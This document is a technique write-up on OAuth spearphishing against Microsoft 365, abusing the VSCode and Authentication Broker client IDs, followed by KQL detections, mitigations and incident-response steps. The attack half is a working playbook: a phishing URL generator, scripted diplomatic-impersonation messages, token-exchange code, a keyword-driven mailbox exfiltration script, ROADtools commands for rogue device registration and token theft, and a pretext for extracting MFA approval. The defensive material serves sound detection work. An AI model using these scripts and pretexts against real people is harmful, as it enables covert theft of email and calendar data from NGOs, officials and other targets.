| Attribute | Details |
|---|---|
| Technique ID | IA-PHISH-006 |
| MITRE ATT&CK v18.1 | T1566.002 - Phishing: Spearphishing Link |
| Tactic | Initial Access |
| Platforms | M365 (Outlook, Teams), Azure AD |
| Severity | Critical |
| CVE | N/A (OAuth design limitation; no vulnerability) |
| Technique Status | ACTIVE |
| Last Verified | 2025-04-22 |
| Affected Versions | All M365 tenants with first-party OAuth apps enabled (VSCode, Teams, Auth Broker) |
| Patched In | N/A (design limitation; mitigations via admin consent, conditional access, DMARC signing) |
| Author | SERVTEP – Artur Pchelnikau |
Concept: EWS impersonation phishing exploits Microsoft’s legitimate OAuth 2.0 authentication workflows to trick users into granting attackers access tokens that can be used to impersonate the victim and access Exchange Web Services (EWS) data—specifically emails and calendar information—via Microsoft Graph API. Unlike traditional phishing that steals credentials, OAuth phishing manipulates the authentication process itself. Attackers craft specially-designed OAuth authorization URLs that impersonate legitimate Microsoft first-party applications (Visual Studio Code with client_id aebc6443-996d-45c2-90f0-388ff96faa56, Microsoft Authentication Broker with client_id 29d9ed98-a469-4536-ade2-f981bc1d605e), then trick victims into clicking these URLs, authenticating with their M365 credentials, and sharing back the authorization code. Attackers then exchange this code for access tokens that provide persistent, undetectable access to the victim’s mailbox and calendar.
Attack Pattern: (1) Attacker identifies high-value target via OSINT (NGO staff, diplomatic personnel, human rights workers, government officials), (2) Attacker establishes rapport via Signal/WhatsApp posing as European government official or person of influence, (3) Attacker sends OAuth phishing URL disguised as legitimate meeting join link, (4) Victim clicks link, sees legitimate Microsoft login page, (5) Victim authenticates and is redirected to VSCode or other application, (6) VSCode displays authorization code to user, (7) Attacker tricks victim into sharing authorization code via WhatsApp/Signal, (8) Attacker exchanges code for access token using ROADtools or custom script, (9) Attacker uses access token to impersonate victim, download emails, calendar, and other EWS data via Microsoft Graph API, (10) Attacker performs intelligence gathering or lateral movement attacks using data obtained.
Business Impact: Covert intelligence gathering at scale. Recent campaigns demonstrate this attack’s effectiveness against high-value targets. Volexity documented attacks against NGOs, human rights organizations, and government agencies working on Ukraine-related issues. Proofpoint identified 900+ organizations and nearly 3,000 users targeted in Q1 2025 with a confirmed success rate exceeding 50%. Unlike traditional phishing, EWS impersonation phishing provides attackers with persistent, undetectable access—sign-in logs show Microsoft IP addresses (not attacker IPs), making forensic attribution difficult. Microsoft Graph API access appears as normal Outlook activity. Attackers can steal months of email history, calendar invitations revealing organizational relationships, contact lists, and sensitive business information—all without triggering traditional security alerts.
Key Differentiator from Other Phishing: Traditional phishing compromises the user’s password; if detected and password is reset, access is lost. OAuth phishing compromises a token with a specific scope (e.g., Mail.Read) that is valid for hours or days. Even if password is reset, the attacker’s access token remains valid. The token is tied to the victim’s account but appears to originate from Microsoft infrastructure (not the attacker’s IP), making it extremely difficult to detect.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | 5.1, 5.2, 6.1 | Inadequate user awareness; failed detection of suspicious OAuth usage; lack of admin consent policies. |
| DISA STIG | AC-2, AC-3, AU-12 | Inadequate access control and authentication; OAuth token abuse. |
| CISA SCuBA | IdM-1, IdM-2 | Weak identity governance; inadequate anomalous sign-in and app usage detection. |
| NIST 800-53 | AC-2, AC-3, AC-6, SI-4 | Access control, least privilege, system monitoring for suspicious authentication. |
| GDPR | Art. 32, 33 | Insufficient security measures; data breach notification. |
| DORA | Art. 9, 18 | ICT risk management; incident reporting. |
| NIS2 | Art. 21, 23 | Cyber security measures; incident reporting. |
| ISO 27001 | A.8.2.3, A.9.2.1 | User access management and authentication control. |
| ISO 27005 | Risk Scenario: “OAuth Token Compromise via Phishing” | Unauthorized access to EWS/Graph API via stolen OAuth tokens. |
Required Privileges:
Required Access:
Supported Versions:
Tools & Environment:
Objective: Attacker identifies victims with access to sensitive information or strategic importance.
OSINT Sources:
Target Selection Criteria (from Volexity’s Observation):
Objective: Attacker understands OAuth parameter structure to craft convincing phishing URLs.
OAuth 2.0 Authorization URL Components:
https://login.microsoftonline.com/[endpoint]/oauth2/v2.0/authorize?
client_id=[VSCode: aebc6443-996d-45c2-90f0-388ff96faa56]
&scope=[https://graph.microsoft.com/.default]
&response_type=code
&redirect_uri=[insiders.vscode.dev/redirect]
&login_hint=[target@victim.onmicrosoft.com]
&state=[arbitrary_value_for_csrf_protection]
&prompt=select_account
URL Parameter Significance:
aebc6443-996d-45c2-90f0-388ff96faa56 is VSCode (legitimate Microsoft app)https://graph.microsoft.com/.default requests all permissions pre-consented to the VSCode applicationinsiders.vscode.dev/redirect is legitimate Microsoft domain but attackers may use lookalikesmae.gov.ro/... to make it appear legitimate)Supported Versions: All M365 versions with VSCode first-party application registered
Scenario: Attacker sends phishing URL impersonating VSCode application to target, victim clicks and authenticates, attacker receives authorization code, exchanges code for Graph API access token, then downloads victim’s emails.
Objective: Create convincing OAuth URL that appears to be legitimate VSCode authentication.
Phishing URL Example:
https://login.microsoftonline.com/organizations/oauth2/v2.0/authorize?
state=https://mae.gov.ro/secure_meeting_info&
client_id=aebc6443-996d-45c2-90f0-388ff96faa56&
scope=https://graph.microsoft.com/.default&
response_type=code&
redirect_uri=https://insiders.vscode.dev/redirect&
login_hint=alice@company.onmicrosoft.com&
prompt=select_account
URL Obfuscation Techniques:
state parameter value (e.g., Romanian government URL) to make URL appear legitimatePython Script to Generate OAuth URL:
#!/usr/bin/env python3
"""
OAuth Phishing URL Generator
Purpose: Create convincing VSCode OAuth URLs for phishing
"""
from urllib.parse import urlencode
import json
def generate_vscode_oauth_url(target_email, state_url="https://mae.gov.ro/"):
"""
Generate VSCode OAuth phishing URL
"""
params = {
"state": state_url, # Legitimate-looking URL
"client_id": "aebc6443-996d-45c2-90f0-388ff96faa56", # VSCode client ID
"scope": "https://graph.microsoft.com/.default",
"response_type": "code",
"redirect_uri": "https://insiders.vscode.dev/redirect",
"login_hint": target_email,
"prompt": "select_account"
}
base_url = "https://login.microsoftonline.com/organizations/oauth2/v2.0/authorize"
oauth_url = f"{base_url}?{urlencode(params)}"
return oauth_url
def generate_device_registration_url(target_email):
"""
Generate Device Registration Service (DRS) OAuth URL
"""
params = {
"url": "https://teams.microsoft.com/l/meetup-join/19%3aMEETING", # Fake Teams URL
"client_id": "29d9ed98-a469-4536-ade2-f981bc1d605e", # Auth Broker client ID
"resource": "01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9", # Device Registration Service
"response_type": "code",
"redirect_uri": "https://login.microsoftonline.com/WebApp/CloudDomainJoin/8",
"login_hint": target_email,
"amr_values": "ngcmfa"
}
base_url = "https://login.microsoftonline.com/common/oauth2/authorize"
oauth_url = f"{base_url}?{urlencode(params)}"
return oauth_url
if __name__ == "__main__":
target = "alice@company.onmicrosoft.com"
print("[*] Generating VSCode OAuth Phishing URL")
vscode_url = generate_vscode_oauth_url(target)
print(f"VSCode URL:\n{vscode_url}\n")
print("[*] Generating Device Registration OAuth Phishing URL")
drs_url = generate_device_registration_url(target)
print(f"DRS URL:\n{drs_url}\n")
Objective: Build credibility and trust to convince victim to click link.
Volexity-Observed Pattern (UTA0352 - Romanian Diplomacy Impersonation):
Day 1-3: Initial Contact via Signal/WhatsApp
Attacker: "Hello, I am Ambassador [Name] from the Romanian Ministry of Foreign Affairs.
We are organizing a private meeting to discuss Ukraine-related humanitarian issues.
Would you be available for a meeting next week? We believe your organization's expertise
would be valuable for our discussion."
Victim: "Yes, I'd be interested"
Attacker: "Excellent. Let me get back to you with the meeting details. I'll send
an invitation with instructions on how to join."
Day 4-7: Building False Context
Day 8: Sending Phishing URL
Attacker: "As we discussed, here is the link to join our video conference.
Please click the link below to verify your account access:
https://login.microsoftonline.com/organizations/oauth2/v2.0/authorize?...
You will need to sign in with your Microsoft account. Once you authenticate,
you will be directed to join the meeting."
Why This Works:
Objective: Victim authenticates with M365 credentials, Microsoft returns authorization code.
Victim Experience:
1. Victim clicks link in Signal message
↓
2. Browser redirects to https://login.microsoftonline.com/organizations/oauth2/v2.0/authorize?...
↓
3. Victim sees legitimate Microsoft login page:
┌─────────────────────────────┐
│ Sign in │
│ │
│ Email: alice@company.com │
│ [Next button] │
└─────────────────────────────┘
4. Victim enters credentials (if not already logged in to M365)
↓
5. Victim may be prompted for MFA (TOTP, Microsoft Authenticator)
↓
6. Microsoft validates credentials and MFA
↓
7. Victim is redirected to redirect_uri: https://insiders.vscode.dev/redirect
↓
8. VSCode page displays authorization code:
┌──────────────────────────────┐
│ Device authorization │
│ │
│ Enter code: 1.AXQAAA... │
│ │
│ [Continue button] │
└──────────────────────────────┘
9. Attacker instructs victim to send back the code displayed on page
Key Detail: The authorization code is also visible in the address bar:
https://insiders.vscode.dev/redirect#code=1.AXQAABZl4G...&session_state=...
Microsoft Considerations:
Objective: Victim shares authorization code with attacker via WhatsApp/Signal.
Victim Action:
Victim copies code from VSCode page: 1.AXQAABZl4G...
Victim: "I've authenticated. Here is the code: 1.AXQAABZl4G..."
Or: "I'll send you the URL from my browser:
https://insiders.vscode.dev/redirect#code=1.AXQAABZl4G...&session_state=..."
Attacker: "Thank you, I will process your access now."
Why Victim Shares Code:
Objective: Attacker exchanges authorization code for access token valid for Graph API access.
Token Exchange Request (ROADtools or custom Python script):
# Exchange authorization code for access token
curl -X POST "https://login.microsoftonline.com/organizations/oauth2/v2.0/token" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "client_id=aebc6443-996d-45c2-90f0-388ff96faa56" \
-d "client_secret=" \
-d "code=1.AXQAABZl4G..." \
-d "redirect_uri=https://insiders.vscode.dev/redirect" \
-d "grant_type=authorization_code" \
-d "scope=https://graph.microsoft.com/.default"
Token Exchange Response:
{
"access_token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6Ii1...",
"expires_in": 3599,
"ext_expires_in": 3599,
"token_type": "Bearer",
"scope": "https://graph.microsoft.com/.default",
"id_token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6Ii1..."
}
Python Script for Token Exchange:
#!/usr/bin/env python3
"""
OAuth Token Exchange
Purpose: Exchange authorization code for access token
"""
import requests
import json
def exchange_code_for_token(auth_code, client_id, redirect_uri):
"""
Exchange OAuth authorization code for access token
"""
token_url = "https://login.microsoftonline.com/organizations/oauth2/v2.0/token"
payload = {
"client_id": client_id,
"client_secret": "", # VSCode doesn't require secret
"code": auth_code,
"redirect_uri": redirect_uri,
"grant_type": "authorization_code",
"scope": "https://graph.microsoft.com/.default"
}
try:
response = requests.post(token_url, data=payload)
response.raise_for_status()
token_data = response.json()
print("[+] Token exchange successful!")
print(f" Access Token: {token_data['access_token'][:50]}...")
print(f" Expires in: {token_data['expires_in']} seconds")
return token_data
except requests.exceptions.RequestException as e:
print(f"[-] Token exchange failed: {e}")
return None
if __name__ == "__main__":
auth_code = input("[*] Enter authorization code: ")
client_id = "aebc6443-996d-45c2-90f0-388ff96faa56" # VSCode
redirect_uri = "https://insiders.vscode.dev/redirect"
tokens = exchange_code_for_token(auth_code, client_id, redirect_uri)
if tokens:
print("\n[+] Tokens successfully obtained:")
print(json.dumps(tokens, indent=2))
Objective: Use access token to download emails and calendar data from victim’s mailbox.
Python Script to Exfiltrate Emails:
#!/usr/bin/env python3
"""
Microsoft Graph API - Email Exfiltration
Purpose: Download victim's emails using access token
"""
import requests
import json
from datetime import datetime, timedelta
def get_emails(access_token, max_results=100):
"""
Retrieve emails from victim's mailbox using Graph API
"""
graph_url = "https://graph.microsoft.com/v1.0/me/messages"
headers = {
"Authorization": f"Bearer {access_token}",
"Content-Type": "application/json"
}
# Query parameters to retrieve useful email data
params = {
"$top": max_results,
"$select": "id,from,subject,receivedDateTime,bodyPreview,hasAttachments",
"$orderby": "receivedDateTime desc"
}
try:
response = requests.get(graph_url, headers=headers, params=params)
response.raise_for_status()
emails = response.json()
print(f"[+] Retrieved {len(emails.get('value', []))} emails")
return emails.get('value', [])
except requests.exceptions.RequestException as e:
print(f"[-] Error retrieving emails: {e}")
return []
def download_full_email(access_token, email_id):
"""
Download full email content (including body)
"""
graph_url = f"https://graph.microsoft.com/v1.0/me/messages/{email_id}"
headers = {
"Authorization": f"Bearer {access_token}",
"Content-Type": "application/json"
}
try:
response = requests.get(graph_url, headers=headers)
response.raise_for_status()
return response.json()
except requests.exceptions.RequestException as e:
print(f"[-] Error retrieving email: {e}")
return None
def get_attachments(access_token, email_id):
"""
Retrieve attachments from email
"""
graph_url = f"https://graph.microsoft.com/v1.0/me/messages/{email_id}/attachments"
headers = {
"Authorization": f"Bearer {access_token}",
"Content-Type": "application/json"
}
try:
response = requests.get(graph_url, headers=headers)
response.raise_for_status()
attachments = response.json()
return attachments.get('value', [])
except requests.exceptions.RequestException as e:
print(f"[-] Error retrieving attachments: {e}")
return []
def exfiltrate_sensitive_emails(access_token):
"""
Search for and download sensitive emails
"""
graph_url = "https://graph.microsoft.com/v1.0/me/messages"
headers = {
"Authorization": f"Bearer {access_token}",
"Content-Type": "application/json"
}
# Search for emails with sensitive keywords
sensitive_keywords = ["password", "secret", "confidential", "classified", "urgent", "transfer", "wire"]
for keyword in sensitive_keywords:
params = {
"$filter": f"contains(subject, '{keyword}') or contains(bodyPreview, '{keyword}')",
"$select": "id,from,subject,receivedDateTime,bodyPreview",
"$top": 50
}
try:
response = requests.get(graph_url, headers=headers, params=params)
response.raise_for_status()
emails = response.json().get('value', [])
if emails:
print(f"\n[+] Found {len(emails)} emails containing '{keyword}':")
for email in emails:
print(f" Subject: {email['subject']}")
print(f" From: {email['from']['emailAddress']['address']}")
print(f" Received: {email['receivedDateTime']}")
print(f" Preview: {email['bodyPreview'][:100]}...")
# Download full email
full_email = download_full_email(access_token, email['id'])
if full_email:
# Save to file
with open(f"email_{keyword}_{email['id']}.json", "w") as f:
json.dump(full_email, f, indent=2)
except requests.exceptions.RequestException as e:
print(f"[-] Error searching for '{keyword}': {e}")
if __name__ == "__main__":
access_token = input("[*] Enter access token: ")
print("[*] Retrieving emails...")
emails = get_emails(access_token)
print("\n[*] Downloaded emails:")
for email in emails:
print(f" From: {email['from']['emailAddress']['address']}")
print(f" Subject: {email['subject']}")
print(f" Date: {email['receivedDateTime']}")
if email['hasAttachments']:
print(f" [+] Has attachments")
print()
print("\n[*] Searching for sensitive emails...")
exfiltrate_sensitive_emails(access_token)
Graph API Endpoints Accessible with VSCode .default Scope:
| Endpoint | Access | Purpose |
|---|---|---|
/me/messages |
✓ Read | List emails |
/me/messages/{id} |
✓ Read | Get full email body |
/me/mailFolders |
✓ Read | List folders (Inbox, Sent, etc.) |
/me/mailFolders/{id}/messages |
✓ Read | Get messages from specific folder |
/me/calendar |
✓ Read | List calendars |
/me/events |
✓ Read | List calendar events (reveals meetings, attendees) |
/me/contacts |
✓ Read | List all contacts |
/me/drive/root |
✗ Denied | OneDrive access blocked (VSCode lacks permission) |
/me/joinedTeams |
✓ Read | List Teams the user is member of |
/teams/{id}/channels |
✓ Read | List channels in Teams |
Supported Versions: All M365 versions with Device Registration Service enabled
Scenario: Attacker targets Device Registration Service (DRS) instead of Graph API, registers attacker-controlled device in victim’s Entra ID, obtains Primary Refresh Token (PRT), then uses PRT to access all M365 services without further MFA.
Key Advantage Over Method 1: Method 1 provides short-term access (token expires in ~1 hour). Method 2 provides long-term persistence via PRT (valid for 90 days offline).
Objective: Create OAuth URL targeting Device Registration Service instead of Graph API.
DRS OAuth URL:
https://login.microsoftonline.com/common/oauth2/authorize?
url=https://teams.microsoft.com/l/meetup-join/19%3aMEETING&
client_id=29d9ed98-a469-4536-ade2-f981bc1d605e&
resource=01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9&
response_type=code&
redirect_uri=https://login.microsoftonline.com/WebApp/CloudDomainJoin/8&
amr_values=ngcmfa&
login_hint=alice@company.onmicrosoft.com
Key Differences from VSCode URL:
| Parameter | VSCode Method | Device Registration Method |
|---|---|---|
| client_id | aebc6443-996d-45c2-90f0-388ff96faa56 (VSCode) |
29d9ed98-a469-4536-ade2-f981bc1d605e (Auth Broker) |
| resource | Not specified (Graph implied) | 01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9 (DRS service) |
| redirect_uri | insiders.vscode.dev/redirect |
login.microsoftonline.com/WebApp/CloudDomainJoin/8 (cloud domain join) |
| scope | https://graph.microsoft.com/.default |
Not specified (DRS implicit) |
(Victim clicks, authenticates, shares code with attacker)
Objective: Get tokens scoped for Device Registration Service.
def exchange_code_for_drs_token(auth_code):
"""
Exchange OAuth code for Device Registration Service token
"""
token_url = "https://login.microsoftonline.com/organizations/oauth2/v2.0/token"
payload = {
"client_id": "29d9ed98-a469-4536-ade2-f981bc1d605e", # Auth Broker
"client_secret": "", # No secret required
"code": auth_code,
"redirect_uri": "https://login.microsoftonline.com/WebApp/CloudDomainJoin/8",
"grant_type": "authorization_code",
"resource": "01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9" # DRS
}
response = requests.post(token_url, data=payload)
return response.json()
Response Token:
{
"access_token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6Ii1...",
"refresh_token": "0.AYAABZl4...",
"scope": "adrs_access",
"expires_in": 3600,
"token_type": "Bearer"
}
Objective: Use DRS token to register malicious device in victim’s Entra ID.
ROADtools Device Registration:
# Install ROADtools
pip install roadtools
# Create .roadtool_auth file with tokens
# Format:
# {
# "access_token": "...",
# "refresh_token": "...",
# "_clientId": "29d9ed98-a469-4536-ade2-f981bc1d605e",
# "expires_in": 3600
# }
# Register device
roadtx device register -n "DESKTOP-ATTACKER" --operatingsystem "Windows" --osversion "10.0.19041.928"
# Output:
# Device registered successfully
# Device ID: 12345678-1234-1234-1234-123456789012
# Device Certificate: -----BEGIN CERTIFICATE-----
What This Accomplishes:
Objective: Exchange DRS token and device cert for PRT.
# Using ROADtools to obtain PRT
roadtx prt request \
--device-id 12345678-1234-1234-1234-123456789012 \
--cert-path device-cert.pem \
--key-path device-key.pem
# Output:
# PRT obtained: eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6Ii1...
Why PRT is Valuable:
Objective: Leverage PRT to silently obtain access token for Teams/Graph and download emails.
# Using PRT to authenticate as Teams (or other first-party app)
roadtx prt authenticate \
--prt eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6Ii1... \
--client-id 1b730954-1685-4b74-9bda-3364f7129bd8 \
--resource https://graph.microsoft.com
# Output:
# Access Token: eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6Ii1...
With this access token, attacker can access:
Objective: Bypass conditional access policies requiring MFA for specific actions.
Attacker’s Social Engineering Message:
Attacker: "To complete your access, please approve a multi-factor authentication
request from your Microsoft Authenticator app. This is normal for secure access."
[Victim receives MFA prompt on their phone]
[Victim approves it]
Attacker: "Thank you. Your access is now complete."
Why This Works:
Endpoint: https://login.microsoftonline.com/{tenant}/oauth2/v2.0/authorize
Token Endpoint: https://login.microsoftonline.com/{tenant}/oauth2/v2.0/token
Installation:
pip install roadtools
Key Commands:
roadtx device register – Register device in Entra IDroadtx prt request – Obtain PRT from device certroadtx prt authenticate – Use PRT to get access tokenroadtx refreshtoken request – Exchange RT for new ATAllows downloading multiple emails in single request (faster exfiltration)
Token Exchange:
curl -X POST "https://login.microsoftonline.com/organizations/oauth2/v2.0/token" \
-d "client_id=aebc6443-996d-45c2-90f0-388ff96faa56" \
-d "code=..." \
-d "grant_type=authorization_code"
KQL Query:
SignInLogs
| where AppId == "aebc6443-996d-45c2-90f0-388ff96faa56" // VSCode client ID
| where ResourceDisplayName == "Microsoft Graph"
| where AuthenticationProcessingDetails contains "OAuth"
| where ConditionalAccessStatus != "notApplied" // User authenticated
| project
TimeGenerated,
UserPrincipalName,
AppDisplayName,
IPAddress,
UserAgent,
Status
KQL Query:
SignInLogs
| where AppId == "aebc6443-996d-45c2-90f0-388ff96faa56"
| where TimeGenerated > ago(24h)
| summarize
IPCount = dcount(IPAddress),
FirstSignIn = min(TimeGenerated),
LastSignIn = max(TimeGenerated)
by UserPrincipalName, CorrelationId
| where IPCount > 1
| project
UserPrincipalName,
IPCount,
TimeRange = LastSignIn - FirstSignIn
KQL Query:
AuditLogs
| where OperationName == "Add device"
| where InitiatedBy.user.userPrincipalName == "DeviceRegistrationService"
| where TargetResources[0].modifiedProperties has "10.0.19041" // Suspicious Windows version
| project
TimeGenerated,
InitiatedBy,
TargetResources,
OperationName
PowerShell:
Search-UnifiedAuditLog -StartDate (Get-Date).AddDays(-7) `
-Operations "Consent to application" `
-ResultSize 5000 | `
Where-Object { $_.AuditData -like "*aebc6443-996d-45c2-90f0-388ff96faa56*" } | `
Export-Csv -Path "C:\Audit\oauth_consents.csv"
1. Require Admin Consent for Oauth Applications
Prevent users from granting consent to applications. Only admins can approve.
Manual Steps (Entra ID):
PowerShell:
Update-MgBetaPolicyAuthorizationPolicy `
-DefaultUserRolePermissions @{
AllowedToCreateApps = $false
PermissionGrantPoliciesAssigned = @("microsoft-user-default-low")
}
2. Block VSCode and Device Registration OAuth URLs
Prevent users from accessing phishing OAuth URLs.
Proxy/Firewall Rules:
insiders.vscode.dev/redirectvscode-redirect.azurewebsites.netvscode.devConditional Access Policy:
3. Enable Conditional Access for OAuth Token Acquisition
Require MFA and device compliance for OAuth token requests.
Manual Steps:
4. Enable Anomalous Token Activity Detection
Microsoft Defender for Cloud Apps can detect abnormal token usage.
Manual Steps:
5. Implement DMARC/DKIM to Prevent Email Spoofing
Even though OAuth phishing uses legitimate Microsoft URLs, attackers often spoof email sender addresses.
PowerShell:
# Enforce DMARC policy
Set-DmarcPolicy -Policy "reject"
6. Monitor Device Registration Activity
Alert when devices are registered outside normal business context.
PowerShell:
# Search for device registrations
Search-UnifiedAuditLog -Operations "Add device" -StartDate (Get-Date).AddDays(-7)
7. User Security Awareness Training
Train users on OAuth phishing specifically:
Validation Command (Verify Mitigations):
# Verify admin consent requirement is enabled
Get-MgBetaPolicyAuthorizationPolicy | Select-Object -ExpandProperty DefaultUserRolePermissions
# Verify VSCode is blocked in conditional access
Get-MgIdentityConditionalAccessPolicy | Where-Object { $_.DisplayName -like "*VSCode*" }
Technical IOCs:
aebc6443-996d-45c2-90f0-388ff96faa56 with Graph API access01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9 resource10.0.19041.928/me/messages from non-browser clientBehavioral IOCs:
Sign-In Logs:
Graph Activity Logs:
/me/messages – Email enumeration/me/events – Calendar access/me/drive – OneDrive accessAudit Logs:
Immediate Actions (0-15 minutes):
Revoke-AzureADUserAllRefreshToken -ObjectId (Get-MgUser -Filter "userPrincipalName eq 'alice@company.onmicrosoft.com'").Id
Update-MgUser -UserId "alice@company.onmicrosoft.com" -ForceChangePasswordNextSignIn $true
# Find and remove suspicious devices
Get-MgDeviceRegisteredOwner -DeviceId "12345678-1234-1234-1234-123456789012" | Remove-MgDevice
# Revoke all OAuth tokens for the user
Revoke-AzureADUserAllRefreshToken -ObjectId (Get-MgUser -Filter "userPrincipalName eq 'alice@company.com'").Id
Containment (15-60 minutes):
Search-UnifiedAuditLog -UserIds "alice@company.onmicrosoft.com" `
-Operations "Export" `
-StartDate (Get-Date).AddDays(-7)
# Find other users who may have fallen victim to same OAuth attack
Search-UnifiedAuditLog -Operations "Consent to application" `
-StartDate (Get-Date).AddDays(-7) | `
Where-Object { $_.AuditData -like "*aebc6443-996d-45c2-90f0-388ff96faa56*" }
Recovery (1-24 hours):
# Re-register user for MFA
# (Requires separate enrollment process)
# Look for VSCode OAuth usage across tenant
Search-UnifiedAuditLog -Operations "*OAuth*" `
-StartDate (Get-Date).AddDays(-30) | `
Where-Object { $_.AuditData -like "*aebc6443-996d-45c2-90f0-388ff96faa56*" }
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Reconnaissance | T1589 (Gather Victim Identity) | Attacker identifies target via LinkedIn/OSINT |
| 2 | Initial Access | T1566.002 (Phishing: Spearphishing) | [IA-PHISH-006] Attacker sends OAuth phishing URL via Signal/WhatsApp |
| 3 | Credential Access | T1528 (Steal Application Access Token) | Attacker obtains authorization code and exchanges for access token |
| 4 | Impact | T1537 (Transfer Data to Cloud) | Attacker downloads emails, calendar, contacts via Graph API |
| 5 | Persistence | T1098 (Account Manipulation) | [METHOD 2] Attacker registers device and obtains PRT for long-term access |
Threat Actor: Russian state-sponsored, targets NGOs and human rights organizations
Timeline:
Targets Impersonated:
Social Engineering Tactics:
Impact:
References:
Threat Actor: Financially-motivated, likely using Tycoon phishing-as-a-service
Scale:
Impersonated Applications:
Attack Flow:
Tactics:
References: